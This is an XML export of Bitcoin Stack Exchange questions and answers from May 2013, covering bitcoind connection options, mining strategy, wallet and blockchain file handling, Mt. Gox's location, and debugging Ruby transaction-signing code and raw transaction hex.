  <row Id="10764" PostTypeId="1" AcceptedAnswerId="10766" CreationDate="2013-05-10T05:21:03.567" Score="10" ViewCount="3308" Body="&lt;p&gt;As seen here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Command-line_arguments&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin#Command-line_arguments&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-addnode=ip          Add a node to connect to and attempt to keep the connection open&lt;br&gt;&#xA;  -connect=ip          Connect only to the specified node(s)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Both of those explanations seem to say the same thing to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain them in more detail?&lt;/p&gt;&#xA;" OwnerUserId="3145" LastEditorUserId="47827" LastEditDate="2021-06-24T10:36:24.157" LastActivityDate="2021-06-24T10:36:24.157" Title="What is the difference between the bitcoind command line options &quot;addnode&quot; and &quot;connect&quot;?" Tags="|bitcoind|json-rpc|p2p|peer-discovery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10765" PostTypeId="2" ParentId="10759" CreationDate="2013-05-10T06:36:52.720" Score="7" Body="&lt;p&gt;The ECDSA public key can be recovered from the signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcointalk.org/index.php?topic=6430.0&quot;&gt;this bitcointalk thread&lt;/a&gt; and the linked pdf for details.&lt;/p&gt;&#xA;" OwnerUserId="280" LastActivityDate="2013-05-10T06:36:52.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10766" PostTypeId="2" ParentId="10764" CreationDate="2013-05-10T07:29:42.410" Score="15" Body="&lt;p&gt;&lt;code&gt;addnode&lt;/code&gt; add a node to the list of nodes to connect.&lt;br&gt;&#xA;&lt;code&gt;connect&lt;/code&gt; only connect to THIS node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you are currently connected to the nodes &lt;code&gt;{A, B, C}&lt;/code&gt; and then issue…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;addnode=D&lt;/code&gt;: you'll be connected to &lt;code&gt;{A, B, C, D}&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;connect=D&lt;/code&gt;: you'll be connected to &lt;code&gt;{D}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3819" LastEditorUserId="5406" LastEditDate="2019-12-16T18:20:42.293" LastActivityDate="2019-12-16T18:20:42.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10770" PostTypeId="2" ParentId="10610" CreationDate="2013-05-10T10:54:15.090" Score="0" Body="&lt;p&gt;This list is already a 2-3 weeks old but gives you an idea...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0Ap6WwaNTa-L3dHFhMWtEM251akdrLXo0TmVYa0RmS3c#gid=0&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/spreadsheet/ccc?key=0Ap6WwaNTa-L3dHFhMWtEM251akdrLXo0TmVYa0RmS3c#gid=0&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It lists the Ripple accounts and their XRP holdings...&lt;/p&gt;&#xA;" OwnerUserId="4935" LastActivityDate="2013-05-10T10:54:15.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10771" PostTypeId="1" AcceptedAnswerId="11636" CreationDate="2013-05-10T12:50:29.520" Score="8" ViewCount="589" Body="&lt;p&gt;I'd like to accept freelance work with bitcoin, probably a large enough amount to consult a lawyer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kinds of questions would you ask to make sure they're competent? How would you go about finding such an attorney?&lt;/p&gt;&#xA;" OwnerUserId="4368" LastActivityDate="2014-01-21T20:56:33.847" Title="bitcoin knowledgeable attorneys?" Tags="|legal|taxes|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10772" PostTypeId="2" ParentId="9364" CreationDate="2013-05-10T14:30:18.173" Score="1" Body="&lt;p&gt;Transaction fees are calculated according to priority and transaction size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Priority is a function of age and value of a single input in the wallet. The larger the value and the older the input age the higher the priority will be. Input value and input bytesize are static values. Input age is a variable that increases with time. So, in short, you can decrease your fees by allowing the coins to &quot;age&quot; (aka wait).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;priority = (input_value * input_age)/input_bytesize&lt;/p&gt;&#xA;&#xA;&lt;p&gt;priority &gt;57600000 is free (not accounting for transaction size)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction size is going to incur fees anytime 5 or more inputs are included in an output. The only way to avoid incurring transaction size fees is to create outputs containing 4 or less inputs. I am not aware of any coin control extensions for the litecoin client so achieving this will likely prove very difficult for very small inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The litecoin client is expected to receive a significant update sometime in May 2013 that may address some of the transaction fee concerns in the current client.&lt;/p&gt;&#xA;" OwnerUserId="4944" LastActivityDate="2013-05-10T14:30:18.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10773" PostTypeId="2" ParentId="10760" CreationDate="2013-05-10T14:51:27.427" Score="4" Body="&lt;p&gt;While correct in principle, consider that mining difficulty has a pretty strong upward trend. This indicates that your relative hashing power (you compared to the difficulty/whole network) is greatest when you first start mining and it decreases over time. With some very rough estimates at the present difficulty of 10 million, 1 gigahash of computing should average one block solution every 16 months or so. But that's if the difficulty doesn't increase, which it will. As the difficulty increases, that extends the number of days it will take, on average, to solve a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is certainly possible that you will solve the first block you attempt. But you also may not solve a block for a year or more. If you're on the unlucky side, you will have nothing to show for the duration of time when your relative hashing power was greatest. Consider somebody who engaged in CPU mining back near the beginning. Once the GPUs came on board, his chance of solving a block became miniscule. With ASICs joining the fray, the CPU miner has a completely unprofitable situation. If he was solo mining and didn't get lucky early on, at this point, he's probably never going to pay for his mining investment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line: pool mining is a way to nearly guarantee that you will profit from your mining equipment's most profitable days. If your solo mining setup is such that your average block solution can be measured in days rather than months, you may come out ahead by solo mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another consideration: solo mining involves running a node, which is good for the network. It is also good for the network to have hashing power spread out among many pools, and solo mining is a pool of 1.&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2013-05-10T14:51:27.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10774" PostTypeId="1" CreationDate="2013-05-10T14:57:59.140" Score="0" ViewCount="123" Body="&lt;p&gt;In downloading the newer client, do I need to worry about my addresses and hence bitcoins disappearing, or will everything in the old wallet transfer nicely into the new?&lt;/p&gt;&#xA;" OwnerUserId="4736" LastActivityDate="2013-05-10T20:22:03.557" Title="Upcoming Fork - Wallet Safety" Tags="|wallet|development|bitcoin-core|address|" AnswerCount="1" CommentCount="0" ClosedDate="2013-05-13T04:27:38.170" ContentLicense="CC BY-SA 3.0" />
  <row Id="10775" PostTypeId="2" ParentId="10188" CreationDate="2013-05-10T15:15:09.390" Score="3" Body="&lt;p&gt;As the Namecoin.info website states, &quot;&lt;a href=&quot;http://namecoin.info/&quot; rel=&quot;nofollow&quot;&gt;It allows you to . . . trade and transact namecoins, the digital currency NMC&lt;/a&gt;.&quot; So the simple answer is that yes, Namecoin is considered a currency, among other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current domain name situation is a top-down hierarchy of trust where the top folks accredit those below until you get the registrar that you pay to register your domain name. The distributed Namecoin aims to democratize that. If you mine Namecoins, then you have the authority to register a domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason you have an exchange rate is because non-miners want to register names too. A non-miner needs to give a miner something of value to get the Namecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namecoin includes all of the functionality that Bitcoin has, so the technology itself can be used as a currency to the same degree that Bitcoin can. That said, the intention of Namecoin is not that it primarily act as a currency, but rather as a decentralized naming system where you can register and transfer names and attach data to those names.&lt;/p&gt;&#xA;" OwnerUserId="2606" LastEditorUserId="2606" LastEditDate="2013-05-10T21:15:10.890" LastActivityDate="2013-05-10T21:15:10.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10776" PostTypeId="2" ParentId="4612" CreationDate="2013-05-10T15:44:44.630" Score="2" Body="&lt;p&gt;It cannot be done &lt;em&gt;easily&lt;/em&gt;. It can be done, if the majority of Bitcoin nodes agree with a given replacement solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It probably won't need to be done unless the human population increases by orders of magnitude and/or all live American lifestyles &lt;strong&gt;AND&lt;/strong&gt; switch to Bitcoin as the sole global currency. So, probably not a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider this: total global currency of all kinds is worth approximately $4.5 trillion. If Bitcoin were used in place of 100% of that, a Satoshi would be worth $0.002. That is, a fifth of a penny. And even pennies are basically worthless today. Since Bitcoin is deflationary/stable, a Satoshi will continue to be a certain percentage of the world's currency. I suppose the problem might be if the human population increases its real product by orders of magnitude, so that a Satoshi would have the buying power of $0.20 or even $2.00. At that point, I suppose people might be annoyed at not being able to sell something for less than a Satoshi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that absurdly far-future and unlikely scenario, the Bitcoin protocol could be replaced with something more precise. Or people could supplement their Bitcoin use with Litecoin use (or another cryptocurrency). Bitcoin could end up being the currency of choice for large transactions and Litecoin (etc.) for buying Pan-galactic Gargle Blasters and Soylent Green. Or banks could issue IOU notes for fractions of Satoshis. Or, you know, maybe people will pay with credit cards and the fractional reserve banking system and use fractions of Satoshis that are only recognized by the banking network. Or maybe we'll all be communist Star Trek people with holodecks and replicators who trick Ferengi into accepting Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2013-05-10T15:44:44.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10778" PostTypeId="2" ParentId="10774" CreationDate="2013-05-10T16:48:28.303" Score="3" Body="&lt;p&gt;Everything should transfer just fine, but as with any change to your system you should take a backup of your wallet before upgrading, just in case.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastEditorUserId="196" LastEditDate="2013-05-10T20:22:03.557" LastActivityDate="2013-05-10T20:22:03.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10779" PostTypeId="1" AcceptedAnswerId="10780" CreationDate="2013-05-10T18:02:39.843" Score="5" ViewCount="530" Body="&lt;p&gt;I was wondering why MtGox is a Japanese company. The founder was American, and the current owner is French, so is there a special reason why Japan was attractive for them?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2013-12-17T20:55:52.303" Title="Is there a reason why MtGox is based in Japan?" Tags="|exchanges|mtgox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10780" PostTypeId="2" ParentId="10779" CreationDate="2013-05-10T18:13:10.940" Score="7" Body="&lt;p&gt;Mtgox owner was already in japan and already had his company there when he decided to buy mtgox from historical owner Jed in 2011.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mtgox owner s blog : &lt;a href=&quot;http://blog.magicaltux.net/&quot; rel=&quot;nofollow&quot;&gt;http://blog.magicaltux.net/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;hosting company that existed years before he decided to buy mtgox : &lt;a href=&quot;http://legal.tibanne.com/&quot; rel=&quot;nofollow&quot;&gt;http://legal.tibanne.com/&lt;/a&gt; , services on &lt;a href=&quot;https://www.kalyhost.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.kalyhost.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="558" LastEditorUserId="558" LastEditDate="2013-12-17T20:55:52.303" LastActivityDate="2013-12-17T20:55:52.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10784" PostTypeId="1" AcceptedAnswerId="10890" CreationDate="2013-05-10T20:49:01.740" Score="7" ViewCount="2737" Body="&lt;p&gt;I'm trying to sign (using secp256k1) a transaction as explained &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3374/how-to-redeem-a-basic-tx&quot;&gt;here&lt;/a&gt;. I'm using my own private key and an unsigned transaction as the input. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to sign it using the JSON-RPC client, but when I sign it with my own ruby script and try to submit it using blockchain.info/pushTx it returns &quot;Invalid signature&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@secret = PRIVATE_KEY_IN_HEX&#xA;@keypair_array = Bitcoin::OpenSSL_EC.regenerate_key(@secret)&#xA;@pubkey =  @keypair_array[1]&#xA;&#xA;@keypair = OpenSSL::PKey::EC.new(&quot;secp256k1&quot;)&#xA;@keypair.private_key = @keypair_array[0].hex&#xA;@keypair.public_key = ::OpenSSL::PKey::EC::Point.from_hex(@keypair.group, @pubkey)&#xA;&#xA;sha_little_endian = SHA_256_HEX_STRING.rjust(64,&quot;0&quot;).scan(/(..)/).reverse.join()&#xA;signature_binary = @keypair.dsa_sign_asn1([sha_little_endian].pack(&quot;H*&quot;))&#xA;&#xA;# Alternative (as in bitcoin-ruby)&#xA;# signature_binary = @keypair.dsa_sign_asn1([SHA_256_HEX_STRING].pack(&quot;H*&quot;))&#xA;&#xA;signature = signature_binary.unpack(&quot;H*&quot;).first&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First I take the SHA hash, e.g. &lt;code&gt;ABCD...001124&lt;/code&gt; and convert it from big endian to little endian: &lt;code&gt;241100....CDAB&lt;/code&gt;. I do this because in the BitcoinQT client the hash is represented as an uint256 which is cast to a char array used as an input for signing. The result is just stored as a var so I assume I don't have to reverse it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to download &lt;a href=&quot;https://raw.github.com/lian/bitcoin-ruby/master/lib/bitcoin/ffi/openssl.rb&quot; rel=&quot;nofollow noreferrer&quot;&gt;this OpenSSL_EC file&lt;/a&gt; and add the following code to reproduce the above steps.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require 'openssl'&#xA;require 'ffi'&#xA;&#xA;module Bitcoin&#xA;  def self.require_dependency(dummy1, dummy2)&#xA;  end  &#xA;autoload :OpenSSL_EC, &quot;./openssl&quot;&#xA;end  &#xA;&#xA;module ::OpenSSL&#xA;  class BN&#xA;    def self.from_hex(hex); new(hex, 16); end&#xA;    end&#xA;  class PKey::EC::Point&#xA;    def self.from_hex(group, hex)&#xA;      new(group, BN.from_hex(hex))&#xA;    end&#xA;  end&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="4948" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-05-14T08:36:45.517" Title="How to sign a transaction hash in ruby?" Tags="|transactions|signature|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10785" PostTypeId="1" CreationDate="2013-05-10T20:58:09.740" Score="1" ViewCount="425" Body="&lt;p&gt;In the following list I always see difficulty values like 2^-12&#xA;How to calculate the actual difficulty from it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/litecoin-project/litecoin/wiki/Comparison-of-mining-pools&quot; rel=&quot;nofollow&quot;&gt;Comparison of mining pools&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4546" LastActivityDate="2014-04-27T01:18:57.013" Title="Litecoin - how to calculate the difficulty from 2^-N" Tags="|litecoin|difficulty|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10786" PostTypeId="2" ParentId="10742" CreationDate="2013-05-10T21:10:23.317" Score="8" Body="&lt;p&gt;I wouldn't suggest to mine with your laptop further more I wouldn't mine with a CPU any more. Your laptop can damage quite fast, because mining is very hardware intensive and it can overheat your components. After some time they will get damaged because they are not build to hold that power over a long period of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your hashrate is quite low. With litecoins you are not going to come very far. You better use a graphics card (GPU) to mine litecoins or if you can't afford one, switch to another coin. See the links below for other coins and hardware comparison.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dustcoin.com/mining&quot;&gt;Cryptocoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/litecoin-project/litecoin/wiki/Mining-hardware-comparison&quot;&gt;Mining hardware comparison&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4546" LastActivityDate="2013-05-10T21:10:23.317" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10787" PostTypeId="1" AcceptedAnswerId="10794" CreationDate="2013-05-10T21:50:05.003" Score="12" ViewCount="14239" Body="&lt;p&gt;After installing the bitcoin client (Qt) a friend got interested as well. He doesn't have as fast an internet connection, though, so I thought of burning some DVDs with the blockchains for him to have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10364/transfer-blockchain-from-pc-to-mac&quot; title=&quot;transfer blockchain from PC to Mac&quot;&gt;this question on how to transfer blockchain from PC to Mac&lt;/a&gt; and the solution was to copy the whole &quot;Bitcoin&quot; folder. However, that folder also contains MY wallet as well (which I definitely do not want my friend to have, even if encrypted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd like to know, which folder(s) and/or files do I need to copy, minimally, so he needs to get as few blocks over the network as possible?&#xA;If it's too much of a hassle, most probably I'll suggest him to use multibit or electrum instead :-)&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="516" LastEditDate="2017-10-24T03:32:36.233" LastActivityDate="2017-10-24T03:32:36.233" Title="How to transfer only the blockchain to a friend's computer?" Tags="|blockchain|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10789" PostTypeId="1" CreationDate="2013-05-10T22:18:03.940" Score="3" ViewCount="65" Body="&lt;p&gt;Most questions answer this about the old 0.7 version of keeping the blockchain. 0.8 changed to leveldb instead of berkeleydb from what I've read, and obviously Bitcoin-Qt is able to read it. For a project though, I want to read each block, and in in turn process each transaction. How would I go about actually reading the data in these blocks? Maybe as JSON or some other human-readable format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help. I've googled too much and just figured I'd ask the question instead of looking for an answer elsewhere that will likely end up being a good answer for 0.7 and earlier.&lt;/p&gt;&#xA;" OwnerUserId="4955" LastActivityDate="2013-05-10T22:18:03.940" Title="Bitcoin-Qt [0.8+] can read the blockchain. How can I? (and make it human readable)" Tags="|blockchain|" AnswerCount="0" CommentCount="2" ClosedDate="2013-05-13T04:28:22.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="10790" PostTypeId="1" CreationDate="2013-05-10T22:33:12.277" Score="2" ViewCount="1419" Body="&lt;p&gt;I want to create a wallet for monitoring incoming transactions. So it should be receive only wallet that will be place on hosting, that is potentially not secure. If I understand it well, this won't allow attacker to stole funds if server is compromised. How I can create such a wallet with only public keys? And can I inject private keys later to spend from that wallet from a secure machine?&lt;/p&gt;&#xA;" OwnerUserId="4723" LastActivityDate="2020-11-28T13:36:56.027" Title="How to remove private keys from wallet.dat and create &quot;receive only&quot; wallet?" Tags="|private-key|public-key|wallet.dat|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10791" PostTypeId="2" ParentId="10790" CreationDate="2013-05-10T22:37:24.693" Score="3" Body="&lt;p&gt;You're right, storing your private keys on a server is a bad idea - it means you're liable to lose all of your funds in the case of a hack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as you aren't storing them, do you need to install the bitcoin daemon on your server? You could use an API from one of the online blockchains to monitor transactions from your server, and maintain your encrypted wallet.dat on your own computer. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2013-05-10T22:37:24.693" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10792" PostTypeId="1" AcceptedAnswerId="10797" CreationDate="2013-05-10T23:05:29.743" Score="1" ViewCount="1241" Body="&lt;p&gt;I don't want 12 gigabytes stored on my boot drive.  Can I change where the  Bitcoin-Qt stores the block chain?&lt;/p&gt;&#xA;" OwnerUserId="4957" LastEditorUserId="5822" LastEditDate="2013-11-29T16:21:11.320" LastActivityDate="2013-11-29T16:21:11.320" Title="Using the main Bitcoin-Qt Client, can you change where it stores the block chain?" Tags="|client|bitcoin-core|" AnswerCount="1" CommentCount="1" ClosedDate="2013-05-11T16:40:19.310" ContentLicense="CC BY-SA 3.0" />
  <row Id="10793" PostTypeId="1" CreationDate="2013-05-10T23:21:13.507" Score="5" ViewCount="515" Body="&lt;p&gt;When I apply the JSON-RPC method &lt;code&gt;decoderawtransaction&lt;/code&gt; to this unsigned transaction it returns &lt;code&gt;{&quot;result&quot;:null,&quot;error&quot;:{&quot;code&quot;:-22,&quot;message&quot;:&quot;TX decode failed&quot;},&quot;id&quot;:&quot;t0&quot;}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000&#xA;02&#xA;0f7404441d85118286dbb8e2937fad174d76b834b91705e7fb6b42d57cbe54d3 01000000&#xA;14 23376070c7b24da64b435c71613053800494ab1c ffffffff&#xA;d6d62745bb4d15d3ef8ff1aaecef5bc7a794e77f3257516edd3ebe5ada659ae4 01000000&#xA;14 23376070c7b24da64b435c71613053800494ab1c ffffffff&#xA;02&#xA;40420f0000000000&#xA;1a 76 a9 c8a73488183dd49f63a11dea0a3b242ae70942d2 88 ac &#xA;10ae220100000000&#xA;1a 76 a9 23376070c7b24da64b435c71613053800494ab1c 88 ac &#xA;00000000&#xA;01000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I removed the whitespace characters before sending it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the transaction in a more friendly format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA; :version=&amp;gt;1,&#xA; :in_counter=&amp;gt;2,&#xA; :inputs=&amp;gt;&#xA;  [&#xA;   {:previousTx=&amp;gt;&#xA;     &quot;0f7404441d85118286dbb8e2937fad174d76b834b91705e7fb6b42d57cbe54d3&quot;,&#xA;    :index=&amp;gt;1,&#xA;    :scriptLength=&amp;gt;20,&#xA;    :scriptSig=&amp;gt;&quot;23376070c7b24da64b435c71613053800494ab1c&quot;,&#xA;    :sequence_no=&amp;gt;&quot;ffffffff&quot;},&#xA;   {:previousTx=&amp;gt;&#xA;     &quot;d6d62745bb4d15d3ef8ff1aaecef5bc7a794e77f3257516edd3ebe5ada659ae4&quot;,&#xA;    :index=&amp;gt;1,&#xA;    :scriptLength=&amp;gt;20,&#xA;    :scriptSig=&amp;gt;&quot;23376070c7b24da64b435c71613053800494ab1c&quot;,&#xA;    :sequence_no=&amp;gt;&quot;ffffffff&quot;}&#xA;   ],&#xA; :out_counter=&amp;gt;2,&#xA; :outputs=&amp;gt;&#xA;  [&#xA;    {:value=&amp;gt;0.01,&#xA;    :scriptPubKey=&amp;gt;&#xA;     &quot;OP_DUP OP_HASH160 c8a73488183dd49f63a11dea0a3b242ae70942d2 OP_EQUALVERIFY OP_CHECKSIG &quot;},&#xA;   {:value=&amp;gt;0.1905,&#xA;    :scriptPubKey=&amp;gt;&#xA;     &quot;OP_DUP OP_HASH160 23376070c7b24da64b435c71613053800494ab1c OP_EQUALVERIFY OP_CHECKSIG &quot;}&#xA; ],&#xA; :lock_time=&amp;gt;0,&#xA; :hash_code_type=&amp;gt;&quot;01000000&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the Blockchain.info page for the &lt;a href=&quot;https://blockchain.info/nl/address/14DCzMesaa1xUCb87Dp3qC1oF7nwmS7LA5&quot; rel=&quot;nofollow noreferrer&quot;&gt;sender address&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any obvious errors in the friendly format? Or did I make a mistake converting it to hex?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to make BitcoinQT provide more informative error messages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I was able successfully verify another unsigned transaction that I found &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3374/how-to-redeem-a-basic-tx&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000&#xA;01&#xA;eccf7e3034189b851985d871f91384b8ee357cd47c3024736e5676eb2debb3f2&#xA;01000000&#xA;19&#xA;76a914010966776006953d5567439e5e39f86a0d273bee88ac&#xA;ffffffff&#xA;01&#xA;605af40500000000&#xA;19&#xA;76a914097072524438d003d23a2f23edb65aae1bb3e46988ac&#xA;00000000&#xA;01000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The four bytes at the end as well as the script-sigs for the inputs are temporary data required for signing. In the working example above they are also present.&lt;/p&gt;&#xA;" OwnerUserId="4948" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-07-10T11:55:26.897" Title="Where's the bug in this unsigned transaction?" Tags="|transactions|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10794" PostTypeId="2" ParentId="10787" CreationDate="2013-05-11T00:20:38.090" Score="14" Body="&lt;p&gt;Transfer everything except wallet.dat and the database folder.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="2526" LastEditDate="2013-05-11T14:45:53.657" LastActivityDate="2013-05-11T14:45:53.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10795" PostTypeId="1" AcceptedAnswerId="10802" CreationDate="2013-05-11T04:31:10.713" Score="5" ViewCount="337" Body="&lt;p&gt;The standard response is &quot;no, the reward is at least one transaction.&quot; What about after there is no more reward?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="5406" LastEditDate="2016-03-09T08:07:16.283" LastActivityDate="2016-03-09T08:07:16.283" Title="Can a block ever be empty?" Tags="|block|mining-reward|empty-blocks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10796" PostTypeId="1" AcceptedAnswerId="10810" CreationDate="2013-05-11T05:20:39.060" Score="4" ViewCount="1309" Body="&lt;p&gt;What's the block number? Also if it was a test transaction, then what was the first event of real commerce if know?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="5406" LastEditDate="2017-01-05T23:27:31.817" LastActivityDate="2017-01-05T23:27:31.817" Title="When was the first non-coinbase transaction?" Tags="|blockchain|history|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10797" PostTypeId="2" ParentId="10792" CreationDate="2013-05-11T06:40:28.083" Score="1" Body="&lt;p&gt;You surely can. Just add &lt;strong&gt;-datadir&lt;/strong&gt; parameter to the command line, when starting bitcoin-qt.&#xA;For example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bitcoin-qt.exe -datadir=D:\BITCOINDATA&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2013-05-11T06:40:28.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10798" PostTypeId="2" ParentId="10676" CreationDate="2013-05-11T06:42:57.077" Score="1" Body="&lt;p&gt;that is a nice theory, but the real reason seems to be a bit different, bit coin minning requires some special operations on integer (whole) numbers, when most computations today are done using floating point. Nvidia has been shifting the computational abilities of there cards along the generations to favor floating point. If you want to dive down into the details there is a very good article over here:&#xA;&lt;a href=&quot;http://www.itproportal.com/2013/04/17/amd-thrashes-nvidia-at-bitcoin-mining--will-the-gap-ever-be-closed/&quot; rel=&quot;nofollow&quot;&gt;http://www.itproportal.com/2013/04/17/amd-thrashes-nvidia-at-bitcoin-mining--will-the-gap-ever-be-closed/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4961" LastActivityDate="2013-05-11T06:42:57.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10799" PostTypeId="2" ParentId="10795" CreationDate="2013-05-11T07:04:07.753" Score="3" Body="&lt;p&gt;That is far in the future and can still be changed, but at the current time a coinbase transaction is required and will always be present. It is very likely that this rule will be upheld in the future as well. It is also possible that the transaction accuracy could be increased enough for there to always be a block reward, however minuscule.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-05-11T07:04:07.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
